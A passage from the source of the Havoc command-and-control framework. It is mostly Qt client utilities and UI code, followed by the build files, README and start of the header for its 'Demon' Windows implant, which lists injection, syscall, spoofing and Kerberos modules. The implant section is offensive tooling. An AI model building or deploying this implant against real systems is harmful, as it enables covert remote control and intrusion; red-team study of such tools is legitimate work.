HavocX::Teamserver.TabSession->NewBottomTab( Session.FileBrowser->FileBrowserWidget, TabName.toStdString(), \"\" );\n                            Session.InteractedWidget->DemonCommands->Execute.FS( Util::gen_random( 8 ).c_str(), \"dir;ui\", \".\" );\n                        }\n                        else\n                        {\n                            HavocX::Teamserver.TabSession->NewBottomTab( Session.FileBrowser->FileBrowserWidget, TabName.toStdString(), \"\" );\n                        }\n                    }\n                }\n            }\n        }\n\n    }\n\n    delete separator;\n    delete separator2;\n    delete separator3;\n    delete separator4;\n}\n\n\nvoid UserInterface::Widgets::TeamserverTabSession::NewBottomTab( QWidget* TabWidget, const string& TitleName, const QString IconPath ) const\n{\n    int id = 0;\n    if ( tabWidget->count() == 0 )\n    {\n        splitter_TopBot->setSizes( QList<int>() << 100 << 200 );\n        splitter_TopBot->setStyleSheet( \"\" );\n    }\n    else if ( tabWidget->count() == 1 )\n        tabWidget->setMovable( true );\n\n    tabWidget->setTabsClosable( true );\n\n    id = tabWidget->addTab( TabWidget, TitleName.c_str() );\n\n    tabWidget->setIconSize( QSize( 15, 15 ) );\n    tabWidget->setCurrentIndex( id );\n}\n\nvoid UserInterface::Widgets::TeamserverTabSession::NewWidgetTab( QWidget *TabWidget, const std::string &TitleName ) const\n{\n    if ( tabWidgetSmall->count() == 0 ) {\n        splitter_SessionAndTabs->setSizes( QList<int>() << 200 << 10 );\n        splitter_SessionAndTabs->setStyleSheet( \"\" );\n        splitter_SessionAndTabs->handle( 1 )->setEnabled( true );\n        splitter_SessionAndTabs->handle( 1 )->setCursor( Qt::SplitHCursor );\n    } else if ( tabWidgetSmall->count() == 1 ) {\n        tabWidgetSmall->setMovable( true );\n    }\n\n    tabWidgetSmall->setTabsClosable( true );\n\n    tabWidget->setCurrentIndex(\n        tabWidgetSmall->addTab(\n            TabWidget,\n            TitleName.c_str()\n        )\n    );\n}\n\nvoid UserInterface::Widgets::TeamserverTabSession::removeTabSmall( int index ) const\n{\n    if ( index == -1 ) {\n        return;\n    }\n\n    tabWidgetSmall->removeTab( index );\n\n    if ( tabWidgetSmall->count() == 0 ) {\n        splitter_SessionAndTabs->setSizes( QList<int>() << 0 );\n        splitter_SessionAndTabs->setStyleSheet( \"QSplitter::handle { image: url(images/notExists.png); }\" );\n        splitter_SessionAndTabs->handle( 1 )->setEnabled( false );\n        splitter_SessionAndTabs->handle( 1 )->setCursor( Qt::ArrowCursor );\n    } else if ( tabWidgetSmall->count() == 1 ) {\n        tabWidgetSmall->setMovable( false );\n    }\n}\n"
  },
  {
    "path": "client/src/Util/Base.cpp",
    "content": "#include <Util/Base.hpp>\n\nauto FileRead( const QString& FilePath ) -> QByteArray\n{\n    auto Content = QByteArray( );\n    auto path    = FilePath.toStdString();\n\n    if ( FilePath[ 0 ] != ':' )\n    {\n        if ( ! QFile::exists( FilePath ) ) {\n            spdlog::error( \"Failed to find file: {}\", path );\n            return nullptr;\n        }\n    }\n\n    // Open File\n    auto File = QFile( FilePath );\n    File.open( QIODevice::ReadOnly );\n\n    // Read everything into our byte array buffer\n    Content = File.readAll();\n\n    // close file\n    File.close();\n\n    return Content;\n}\n\nauto MessageBox( QString Title, QString Text, QMessageBox::Icon Icon ) -> void\n{\n    auto box = QMessageBox();\n\n    box.setWindowTitle( Title );\n    box.setText( Text );\n    box.setIcon( Icon );\n    box.setStyleSheet( FileRead( \":/stylesheets/MessageBox\" ) );\n    box.exec();\n}\n\nauto WinVersionIcon( QString OSVersion, bool High ) -> QIcon\n{\n    if ( OSVersion.startsWith( \"Windows 10\" ) || OSVersion.startsWith( \"Windows Server 2019\" )|| OSVersion.startsWith( \"Windows 2019 Server\" ) )\n    {\n        spdlog::debug( \"OSVersion is Windows 10\" );\n\n        if ( High )\n            return QIcon( \":/images/win10-8-high\" );\n        else\n            return QIcon( \":/images/win10-8\" );\n    }\n    else if ( OSVersion.startsWith( \"Windows XP\" )  )\n    {\n        spdlog::debug( \"OSVersion is Windows XP\" );\n\n        if ( High )\n            return QIcon( \":/images/winxp-high\" );\n        else\n            return QIcon( \":/images/winxp\" );\n    }\n    if ( OSVersion.startsWith( \"Windows 8\" ) || OSVersion.startsWith( \"Windows Server 2012\" ) )\n    {\n        spdlog::debug( \"OSVersion is Windows 8\" );\n\n        if ( High )\n            return QIcon( \":/images/win10-8-high\" );\n        else\n            return QIcon( \":/images/win10-8\" );\n    }\n    if ( OSVersion.startsWith( \"Windows 11\" )  )\n    {\n        spdlog::debug( \"OSVersion is Windows 11\" );\n\n        if ( High )\n            return QIcon( \":/images/win11-high\" );\n        else\n            return QIcon( \":/images/win11\" );\n    }\n    if ( OSVersion.startsWith( \"Windows 7\" ) || OSVersion.startsWith( \"Windows Vista\" ) )\n    {\n        spdlog::debug( \"OSVersion is Windows 7 or Vista\" );\n\n        if ( High )\n            return QIcon( \":/images/win7-vista-high\" );\n        else\n            return QIcon( \":/images/win7-vista\" );\n    }\n    if ( OSVersion.startsWith( \"MacOS\" )  )\n    {\n        spdlog::debug( \"OSVersion is MacOS\" );\n\n        if ( High )\n            return QIcon( \":/images/macos-high\" );\n        else\n            return QIcon( \":/images/macos\" );\n    }\n    if ( OSVersion.startsWith( \"Linux\" )  )\n    {\n        spdlog::debug( \"OSVersion is Linux\" );\n\n        if ( High )\n            return QIcon( \":/images/linux-high\" );\n        else\n            return QIcon( \":/images/linux\" );\n    }\n    else\n    {\n        if ( High )\n            return QIcon( \":/images/unknown-high\" );\n        else\n            return QIcon( \":/images/unknown\" );\n    }\n}\n\nauto WinVersionImage( QString OSVersion, bool High ) -> QImage\n{\n    if ( OSVersion.startsWith( \"Windows 10\" )  )\n    {\n        spdlog::debug( \"OSVersion is Windows 10\" );\n\n        if ( High )\n            return QImage( \":/images/win10-8-high\" );\n        else\n            return QImage( \":/images/win10-8\" );\n    }\n    else if ( OSVersion.startsWith( \"Windows XP\" )  )\n    {\n        spdlog::debug( \"OSVersion is Windows XP\" );\n\n        if ( High )\n            return QImage( \":/images/winxp-high\" );\n        else\n            return QImage( \":/images/winxp\" );\n    }\n    if ( OSVersion.startsWith( \"Windows 8\" )  )\n    {\n        spdlog::debug( \"OSVersion is Windows 8\" );\n\n        if ( High )\n            return QImage( \":/images/win10-8-high\" );\n        else\n            return QImage( \":/images/win10-8\" );\n    }\n    if ( OSVersion.startsWith( \"Windows 11\" )  )\n    {\n        spdlog::debug( \"OSVersion is Windows 11\" );\n\n        if ( High )\n            return QImage( \":/images/win11-high\" );\n        else\n            return QImage( \":/images/win11\" );\n    }\n    if ( OSVersion.startsWith( \"Windows 7\" ) || OSVersion.startsWith( \"Windows Vista\" ) )\n    {\n        spdlog::debug( \"OSVersion is Windows 7 or Vista\" );\n\n        if ( High )\n            return QImage( \":/images/win7-vista-high\" );\n        else\n            return QImage( \":/images/win7-vista\" );\n    }\n    if ( OSVersion.startsWith( \"MacOS\" )  )\n    {\n        spdlog::debug( \"OSVersion is MacOS\" );\n\n        if ( High )\n            return QImage( \":/images/macos-high\" );\n        else\n            return QImage( \":/images/macos\" );\n    }\n    if ( OSVersion.startsWith( \"Linux\" )  )\n    {\n        spdlog::debug( \"OSVersion is Linux\" );\n\n        if ( High )\n            return QImage( \":/images/linux-high\" );\n        else\n            return QImage( \":/images/linux\" );\n    }\n    else\n    {\n        if ( High )\n            return QImage( \":/images/unknown-high\" );\n        else\n            return QImage( \":/images/unknown\" );\n    }\n}\n\nauto CurrentDateTime(\n    void\n) -> QString {\n    return ( QDateTime::currentDateTime().toString( \"dd/MM/yyyy\" ) + \" \" + CurrentTime() );\n}\n\nauto CurrentTime(\n    void\n) -> QString {\n    return ( QTime::currentTime().toString( \"hh:mm:ss\" ) );\n}\n\nauto GrayScale(\n    QImage image\n) -> QImage {\n    auto im = image.convertToFormat( QImage::Format_ARGB32 );\n\n    for ( int y = 0; y < im.height(); ++y ) {\n        auto scanLine = ( QRgb* ) im.scanLine( y );\n\n        for ( int x = 0; x < im.width(); ++x ) {\n            auto pixel = *scanLine;\n            auto ci    = uint( qGray( pixel ) );\n\n            *scanLine = qRgba( ci, ci, ci, qAlpha( pixel ) / 3 );\n            ++scanLine;\n        }\n    }\n\n    return im;\n}"
  },
  {
    "path": "client/src/Util/Base64.cpp",
    "content": "\n#include <global.hpp>\n\nstatic const std::string base64_chars =\n        \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n        \"abcdefghijklmnopqrstuvwxyz\"\n        \"0123456789+/\";\n\nstd::string HavocNamespace::Util::base64_encode(const char* buf, unsigned int bufLen)\n{\n    std::string ret;\n    int i = 0;\n    int j = 0;\n    char char_array_3[3];\n    char char_array_4[4];\n\n    while (bufLen--) {\n        char_array_3[i++] = *(buf++);\n        if (i == 3) {\n            char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;\n            char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);\n            char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);\n            char_array_4[3] = char_array_3[2] & 0x3f;\n\n            for(i = 0; (i <4) ; i++)\n                ret += base64_chars[char_array_4[i]];\n            i = 0;\n        }\n    }\n\n    if (i)\n    {\n        for(j = i; j < 3; j++)\n            char_array_3[j] = '\\0';\n\n        char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;\n        char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);\n        char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);\n        char_array_4[3] = char_array_3[2] & 0x3f;\n\n        for (j = 0; (j < i + 1); j++)\n            ret += base64_chars[char_array_4[j]];\n\n        while((i++ < 3))\n            ret += '=';\n    }\n\n    return ret;\n}\n"
  },
  {
    "path": "client/src/Util/ColorText.cpp",
    "content": "#include <Util/ColorText.h>\n\nQString HavocNamespace::Util::ColorText::Colors::Hex::Background    = \"#282a36\";\nQString HavocNamespace::Util::ColorText::Colors::Hex::Foreground    = \"#f8f8f2\";\nQString HavocNamespace::Util::ColorText::Colors::Hex::Comment       = \"#6272a4\";\nQString HavocNamespace::Util::ColorText::Colors::Hex::CurrentLine   = \"#44475a\";\n\nQString HavocNamespace::Util::ColorText::Colors::Hex::Cyan          = \"#8be9fd\";\nQString HavocNamespace::Util::ColorText::Colors::Hex::Green         = \"#50fa7b\";\nQString HavocNamespace::Util::ColorText::Colors::Hex::Orange        = \"#ffb86c\";\nQString HavocNamespace::Util::ColorText::Colors::Hex::Pink          = \"#ff79c6\";\nQString HavocNamespace::Util::ColorText::Colors::Hex::Purple        = \"#bd93f9\";\nQString HavocNamespace::Util::ColorText::Colors::Hex::Red           = \"#ff5555\";\nQString HavocNamespace::Util::ColorText::Colors::Hex::Yellow        = \"#f1fa8c\";\n\nQString HavocNamespace::Util::ColorText::Colors::Hex::SessionCyan   = \"#618bac\";\nQString HavocNamespace::Util::ColorText::Colors::Hex::SessionGreen  = \"#1C5F11\";\nQString HavocNamespace::Util::ColorText::Colors::Hex::SessionOrange = \"#ac7420\";\nQString HavocNamespace::Util::ColorText::Colors::Hex::SessionPink   = \"#c33fb6\";\nQString HavocNamespace::Util::ColorText::Colors::Hex::SessionPurple = \"#36365b\";\nQString HavocNamespace::Util::ColorText::Colors::Hex::SessionRed    = \"#5b3d3e\";\nQString HavocNamespace::Util::ColorText::Colors::Hex::SessionYellow = \"#a59220\";\n\nvoid HavocNamespace::Util::ColorText::SetDraculaDark()\n{\n    HavocNamespace::Util::ColorText::Colors::Hex::Background    = \"#282a36\";\n    HavocNamespace::Util::ColorText::Colors::Hex::Foreground    = \"#f8f8f2\";\n    HavocNamespace::Util::ColorText::Colors::Hex::Comment       = \"#6272a4\";\n    HavocNamespace::Util::ColorText::Colors::Hex::CurrentLine   = \"#44475a\";\n\n    HavocNamespace::Util::ColorText::Colors::Hex::Cyan          = \"#8be9fd\";\n    HavocNamespace::Util::ColorText::Colors::Hex::Green         = \"#50fa7b\";\n    HavocNamespace::Util::ColorText::Colors::Hex::Orange        = \"#ffb86c\";\n    HavocNamespace::Util::ColorText::Colors::Hex::Pink          = \"#ff79c6\";\n    HavocNamespace::Util::ColorText::Colors::Hex::Purple        = \"#bd93f9\";\n    HavocNamespace::Util::ColorText::Colors::Hex::Red           = \"#ff5555\";\n    HavocNamespace::Util::ColorText::Colors::Hex::Yellow        = \"#f1fa8c\";\n}\n\nvoid HavocNamespace::Util::ColorText::SetDraculaLight()\n{\n    // TODO: get white theme\n}\n\nQString HavocNamespace::Util::ColorText::Color(const QString& color, const QString &text)\n{\n    return \"<span style=\\\"color: \"+ color +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::Background(const QString& text)\n{\n    return \"<span style=\\\"color: \"+ HavocNamespace::Util::ColorText::Colors::Hex::Background +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::Foreground(const QString& text) {\n    return \"<span style=\\\"color: \"+ HavocNamespace::Util::ColorText::Colors::Hex::Foreground +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::Comment(const QString& text) {\n    return \"<span style=\\\"color: \"+ HavocNamespace::Util::ColorText::Colors::Hex::Comment +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::Cyan(const QString& text) {\n    return \"<span style=\\\"color: \"+ HavocNamespace::Util::ColorText::Colors::Hex::Cyan +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::Green(const QString& text) {\n    return \"<span style=\\\"color: \"+ HavocNamespace::Util::ColorText::Colors::Hex::Green +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::Orange(const QString& text) {\n    return \"<span style=\\\"color: \"+ HavocNamespace::Util::ColorText::Colors::Hex::Orange +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::Pink(const QString& text) {\n    return \"<span style=\\\"color: \"+ HavocNamespace::Util::ColorText::Colors::Hex::Pink +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::Purple(const QString& text) {\n    return \"<span style=\\\"color: \"+ HavocNamespace::Util::ColorText::Colors::Hex::Purple +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::Red(const QString& text) {\n    return \"<span style=\\\"color: \"+ HavocNamespace::Util::ColorText::Colors::Hex::Red +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::Yellow(const QString& text) {\n    return \"<span style=\\\"color: \"+ HavocNamespace::Util::ColorText::Colors::Hex::Yellow +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::Bold(const QString& text) {\n    return \"<b>\" + text.toHtmlEscaped() + \"</b>\";\n}\n\nQString HavocNamespace::Util::ColorText::Underline(const QString &text) {\n    return \"<span style=\\\"text-decoration:underline\\\">\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::UnderlineBackground(const QString &text) {\n    return \"<span style=\\\"text-decoration:underline; color: \"+ HavocNamespace::Util::ColorText::Colors::Hex::Background +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::UnderlineForeground(const QString &text) {\n    return \"<span style=\\\"text-decoration:underline; color: \"+ HavocNamespace::Util::ColorText::Colors::Hex::Foreground +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::UnderlineComment(const QString &text) {\n    return \"<span style=\\\"text-decoration:underline; color: \"+ HavocNamespace::Util::ColorText::Colors::Hex::Comment +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::UnderlineCyan(const QString &text) {\n    return \"<span style=\\\"text-decoration:underline; color: \"+ HavocNamespace::Util::ColorText::Colors::Hex::Cyan +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::UnderlineGreen(const QString &text) {\n    return \"<span style=\\\"text-decoration:underline; color: \"+ HavocNamespace::Util::ColorText::Colors::Hex::Green +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::UnderlineOrange(const QString &text) {\n    return \"<span style=\\\"text-decoration:underline; color: \"+ HavocNamespace::Util::ColorText::Colors::Hex::Orange +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::UnderlinePink(const QString &text) {\n    return \"<span style=\\\"text-decoration:underline; color: \"+ HavocNamespace::Util::ColorText::Colors::Hex::Pink +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::UnderlinePurple(const QString &text) {\n    return \"<span style=\\\"text-decoration:underline; color: \"+ HavocNamespace::Util::ColorText::Colors::Hex::Purple +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::UnderlineRed(const QString &text) {\n    return \"<span style=\\\"text-decoration:underline; color: \"+ HavocNamespace::Util::ColorText::Colors::Hex::Red +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n\nQString HavocNamespace::Util::ColorText::UnderlineYellow(const QString &text) {\n    return \"<span style=\\\"text-decoration:underline; color: \"+ HavocNamespace::Util::ColorText::Colors::Hex::Yellow +\";\\\" >\" + text.toHtmlEscaped() + \"</span>\";\n}\n"
  },
  {
    "path": "client/src/global.cc",
    "content": "#include <global.hpp>\n#include <random>\n\n#include <Havoc/Connector.hpp>\n\n#include <QFileDialog>\n\nusing namespace std;\nusing namespace HavocNamespace;\nusing namespace HavocNamespace::HavocSpace;\n\nstring HavocNamespace::Version  = \"0.7\";\nstring HavocNamespace::CodeName = \"Bites The Dust\";\n\n// Global Variables in the Havoc Namespace\nHavocSpace::Havoc* HavocNamespace::HavocApplication;\n\nUtil::ConnectionInfo                    HavocX::Teamserver;\nHavocNamespace::Connector*              HavocX::Connector;\nHavocNamespace::UserInterface::HavocUi* HavocX::HavocUserInterface;\nbool                                    HavocX::DebugMode = false;\nbool                                    HavocX::GateGUI = false;\nPyObject*                               HavocX::callbackGate = nullptr;\nPyObject*                               HavocX::callbackMessage = nullptr;\n\nQString HavocSpace::Listener::PayloadHTTPS    = \"Https\";\nQString HavocSpace::Listener::PayloadHTTP     = \"Http\";\nQString HavocSpace::Listener::PayloadSMB      = \"Smb\";\nQString HavocSpace::Listener::PayloadExternal = \"External\";\n\nstd::string Util::gen_random( const int len )\n{\n    auto str = std::string( \"0123456789ABCDEF\" );\n    auto rd  = std::random_device();\n    auto gen = std::mt19937( rd() );\n\n    std::shuffle( str.begin(), str.end(), gen );\n\n    return str.substr( 0, len );\n}\n\nvoid Util::SessionItem::Export()\n{\n    auto FileDialog = QFileDialog();\n    auto Filename   = QUrl();\n    auto Style      = FileRead( \":/stylesheets/Dialogs/FileDialog\" ).toStdString();\n\n    Style.erase( std::remove( Style.begin(), Style.end(), '\\n' ), Style.end() );\n\n    FileDialog.setStyleSheet( Style.c_str() );\n    FileDialog.setAcceptMode( QFileDialog::AcceptSave );\n    FileDialog.setDirectory( QDir::homePath() );\n    FileDialog.selectFile( \"Session_data_\" + Name + \".json\" );\n\n    if ( FileDialog.exec() == QFileDialog::Accepted )\n    {\n        Filename = FileDialog.selectedUrls().value( 0 ).toLocalFile();\n\n        if ( ! Filename.toString().isNull() )\n        {\n            auto file       = QFile( Filename.toString() );\n            auto messageBox = QMessageBox(  );\n\n            if ( file.open( QIODevice::ReadWrite ) ) {\n                auto SessionData = QJsonObject();\n\n                SessionData.insert( \"AgentID\",          QJsonValue::fromVariant( Name ) );\n                SessionData.insert( \"MagicValue\",       QJsonValue::fromVariant( (int) MagicValue ) );\n                SessionData.insert( \"ExternalIP\",       QJsonValue::fromVariant( External ) );\n                SessionData.insert( \"InternalIP\",       QJsonValue::fromVariant( Internal ) );\n                SessionData.insert( \"Listener\",         QJsonValue::fromVariant( Listener ) );\n                SessionData.insert( \"User\",             QJsonValue::fromVariant( User ) );\n                SessionData.insert( \"Computer\",         QJsonValue::fromVariant( Computer ) );\n                SessionData.insert( \"Domain\",           QJsonValue::fromVariant( Domain ) );\n                SessionData.insert( \"OS\",               QJsonValue::fromVariant( OS ) );\n                SessionData.insert( \"OSBuild\",          QJsonValue::fromVariant( OSBuild ) );\n                SessionData.insert( \"OSArch\",           QJsonValue::fromVariant( OSArch ) );\n                SessionData.insert( \"ProcessName\",      QJsonValue::fromVariant( Process ) );\n                SessionData.insert( \"ProcessID\",        QJsonValue::fromVariant( PID ) );\n                SessionData.insert( \"ProcessArch\",      QJsonValue::fromVariant( Arch ) );\n                SessionData.insert( \"ProcessElevated\",  QJsonValue::fromVariant( Elevated ) );\n                SessionData.insert( \"PivotParent\",      QJsonValue::fromVariant( PivotParent ) );\n                SessionData.insert( \"First Callback\",   QJsonValue::fromVariant( First ) );\n                SessionData.insert( \"Last Callback\",    QJsonValue::fromVariant( Last ) );\n\n                file.write( QJsonDocument( SessionData ).toJson( QJsonDocument::Indented ) );\n            }\n            else {\n                auto path = Filename.toString().toStdString();\n                spdlog::error(\"Couldn't write to file {}\", path );\n            }\n\n            file.close();\n\n            messageBox.setWindowTitle( \"Session Exported\" );\n            messageBox.setText( \"Path: \" + Filename.toString() );\n            messageBox.setIcon( QMessageBox::Information );\n            messageBox.setStyleSheet( FileRead( \":/stylesheets/MessageBox\" ) );\n            // messageBox.setMaximumSize( QSize( 500, 500 ) );\n            messageBox.exec();\n        }\n    }\n}\n"
  },
  {
    "path": "makefile",
    "content": "ifndef VERBOSE\n.SILENT:\nendif\n\n# main build target. compiles the teamserver and client\nall: ts-build client-build\n\n# teamserver building target\nts-build:\n\t@ echo \"[*] building teamserver\"\n\t@ ./teamserver/Install.sh\n\t@ cd teamserver; GO111MODULE=\"on\" go build -ldflags=\"-s -w -X cmd.VersionCommit=$(git rev-parse HEAD)\" -o ../havoc main.go\n\t@ sudo setcap 'cap_net_bind_service=+ep' havoc # this allows you to run the server as a regular user\n\ndev-ts-compile:\n\t@ echo \"[*] compile teamserver\"\n\t@ cd teamserver; GO111MODULE=\"on\" go build -ldflags=\"-s -w -X cmd.VersionCommit=$(git rev-parse HEAD)\" -o ../havoc main.go \n\nts-cleanup: \n\t@ echo \"[*] teamserver cleanup\"\n\t@ rm -rf ./teamserver/bin\n\t@ rm -rf ./data/loot\n\t@ rm -rf ./data/x86_64-w64-mingw32-cross \n\t@ rm -rf ./data/havoc.db\n\t@ rm -rf ./data/server.*\n\t@ rm -rf ./teamserver/.idea\n\t@ rm -rf ./havoc\n\n# client building and cleanup targets \nclient-build: \n\t@ echo \"[*] building client\"\n\t@ git submodule update --init --recursive\n\t@ mkdir client/Build; cd client/Build; cmake ..\n\t@ if [ -d \"client/Modules\" ]; then echo \"Modules installed\"; else git clone https://github.com/HavocFramework/Modules client/Modules --single-branch --branch `git rev-parse --abbrev-ref HEAD`; fi\n\t@ cmake --build client/Build -- -j 4\n\nclient-cleanup:\n\t@ echo \"[*] client cleanup\"\n\t@ rm -rf ./client/Build\n\t@ rm -rf ./client/Bin/*\n\t@ rm -rf ./client/Data/database.db\n\t@ rm -rf ./client/.idea\n\t@ rm -rf ./client/cmake-build-debug\n\t@ rm -rf ./client/Havoc\n\t@ rm -rf ./client/Modules\n\n\n# cleanup target \nclean: ts-cleanup client-cleanup\n\t@ rm -rf ./data/*.db\n\t@ rm -rf payloads/Demon/.idea\n"
  },
  {
    "path": "payloads/Demon/CMakeLists.txt",
    "content": "cmake_minimum_required(VERSION 3.19)\nproject( Demon C )\n\nset( PROJECT_NAME Demon )\n\n# set compiler settings\nset( CMAKE_C_STANDARD 11 )\nset( CMAKE_C_COMPILER x86_64-w64-mingw32-gcc )\nset( CMAKE_C_FLAGS \"-Wl,--pic-executable,-e,main -Wl,-Bstatic -s -w -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libgcc -Wl,-Bstatic \" )\n\n# adding demon sources\ninclude_directories( include )\n\nset( COMMON_SOURCE\n        src/core/Command.c\n        src/core/Win32.c\n        src/core/MiniStd.c\n        src/core/Token.c\n        src/core/Package.c\n        src/core/Obf.c\n        src/core/Spoof.c\n        src/core/Syscalls.c\n        src/core/SysNative.c\n        src/core/Command.c\n        src/core/Transport.c\n        src/core/TransportHttp.c\n        src/core/TransportSmb.c\n        src/core/Parser.c\n        src/core/Pivot.c\n        src/core/Jobs.c\n        src/core/Download.c\n        src/core/Dotnet.c\n        src/core/Socket.c\n        src/core/Kerberos.c\n        src/core/Thread.c\n        src/core/Memory.c\n        src/core/Runtime.c\n        src/core/HwBpEngine.c\n        src/core/HwBpExceptions.c\n        src/core/CoffeeLdr.c\n        src/core/ObjectApi.c\n)\n\nset( INJECT_SOURCE\n        src/inject/Inject.c\n        src/inject/InjectUtil.c\n)\n\nset( CRYPT_SOURCE\n        src/crypt/AesCrypt.c\n)\n\nset( MAIN_SOURCE\n        # Demon Main entrypoint\n        src/Demon.c\n\n        # windows exe\n        src/main/MainExe.c\n\n        # windows dll\n        src/main/MainDll.c\n\n        # windows service\n        src/main/MainSvc.c\n)\n\n\n# preprocessor flags\nadd_compile_definitions( DEBUG )\n\nadd_compile_definitions( CONFIG_BYTES={} )\nadd_compile_definitions( CONFIG_SIZE=1024 )\nadd_compile_definitions( CONFIG_KEY_BYTES={} )\nadd_compile_definitions( CONFIG_KEY_SIZE=16 )\nadd_compile_definitions( SERVICE_NAME=\"DemonService\" )\n\nadd_compile_definitions( TRANSPORT_HTTP )\nadd_compile_definitions( TRANSPORT_SMB )\nadd_compile_definitions( AES256 )\n\n# linking library\nlink_libraries( netapi32 ws2_32 wsock32 wtsapi32 iphlpapi mscoree mscorlib )\n\n# add compiled demons\nadd_executable( ${PROJECT_NAME} ${COMMON_SOURCE} ${INJECT_SOURCE} ${EXT_SOURCE} ${CRYPT_SOURCE} ${LOADER_SOURCE} ${MAIN_SOURCE} )\n"
  },
  {
    "path": "payloads/Demon/README.md",
    "content": "# Havoc Demon Agent\n\nHavoc Demon Agent source code written in C and assembly  \n\n# Directories\n\n## src/asm\nassembly code (return address stack spoofing)\n\n## src/core\ncore functions ( connect to server, dynamically load win32 apis / syscalls )\n\n## src/crypt\nencryption / decryption functions\n\n## src/inject \ninjection functions and utilities\n\n## src/main\nEntry point of an PE executable \n- MainExe.c\n\nEntry point of a Service executable\n- MainSvc.c\n    \nEntry point of a Dll\n- MainDll.c\n\n### NOTE about the `CMakeLists.txt` file from the Developer\nDo not modify it or use it. This is for only for developing and editing the Demon source code in Clion, it has no use for anyone else beside me (C5pider) or someone that uses Clion or any other IDE that supports CMake. It is only there to make Clion happy and show me references and to make my workflow faster that's it."
  },
  {
    "path": "payloads/Demon/include/Demon.h",
    "content": "#ifndef DEMON_DEMON_H\n#define DEMON_DEMON_H\n\n#include <windows.h>\n#include <winsock2.h>\n#include <ntstatus.h>\n#include <aclapi.h>\n#include <windns.h>\n\n#include <common/Native.h>\n#include <common/Macros.h>\n#include <common/Clr.h>\n#include <common/Defines.h>\n\n#include <core/Win32.h>\n#include <core/Token.h>\n#include <core/Pivot.h>\n#include <core/Spoof.h>\n#include <core/Jobs.h>\n#include <core/Package.h>\n#include <core/Download.h>\n#include <core/Transport.h>\n#include <core/Socket.h>\n#include <core/Kerberos.h>\n#include <core/Syscalls.h>\n#include <core/SysNative.h>\n#include <core/HwBpEngine.h>\n#include <core/CoffeeLdr.h>\n#include <core/Memory.h>\n\n#ifdef DEBUG\n#include <stdio.h>\n#endif\n\n// To prevent false alignment on x64\n#pragma pack(1)\ntypedef struct\n{\n    PVOID KaynLdr;\n    PVOID DllCopy;\n    PVOID Demon;\n    DWORD DemonSize;\n    PVOID TxtBase;\n    DWORD TxtSize;\n} KAYN_ARGS, *PKAYN_ARGS;\n\n// TODO: remove all variables that are not switched/changed after some time\ntypedef struct\n{\n    /* MetaData */\n    PPACKAGE MetaData;\n\n    /* The last RequestID received by the TS */\n    UINT32 CurrentRequestID;\n\n    /* whether WSAStartup has been called yet */\n    BOOL WSAWasInitialised;\n\n#ifdef TRANSPORT_HTTP\n    HANDLE hHttpSession;\n    BOOL   LookedForProxy;\n    PVOID  ProxyForUrl;\n    SIZE_T SizeOfProxyForUrl;\n#endif\n\n#if defined(SHELLCODE) && defined(DEBUG)\n    HANDLE hConsoleOutput;\n#endif\n\n    struct {\n        PVOID ModuleBase;\n        DWORD ModuleSize;\n        PVOID TxtBase;\n        DWORD TxtSize;\n        DWORD AgentID;\n        BOOL  Connected;\n        DWORD PID;\n        DWORD TID;\n        DWORD PPID;\n        WORD  OS_Arch;\n        WORD  Process_Arch;\n        DWORD OSVersion;\n    } Session;\n\n    struct {\n        /* Sleep delay */\n        DWORD Sleeping;\n        DWORD Jitter;\n\n        struct {\n            UINT64     KillDate;\n            UINT32     WorkingHours;\n\n#ifdef TRANSPORT_HTTP\n            PHOST_DATA Host;  /* current using host */\n            PHOST_DATA Hosts; /* host linked list */\n            UINT32     NumHosts;\n            LPWSTR     Method; /* TODO: use WCHAR[4] instead of LPWSTR. */\n            SHORT      HostRotation;\n            DWORD      HostIndex;\n            DWORD      HostMaxRetries;\n            DWORD      Secure;\n            LPWSTR     UserAgent; /* TODO: change type to BUFFER */\n            LPWSTR*    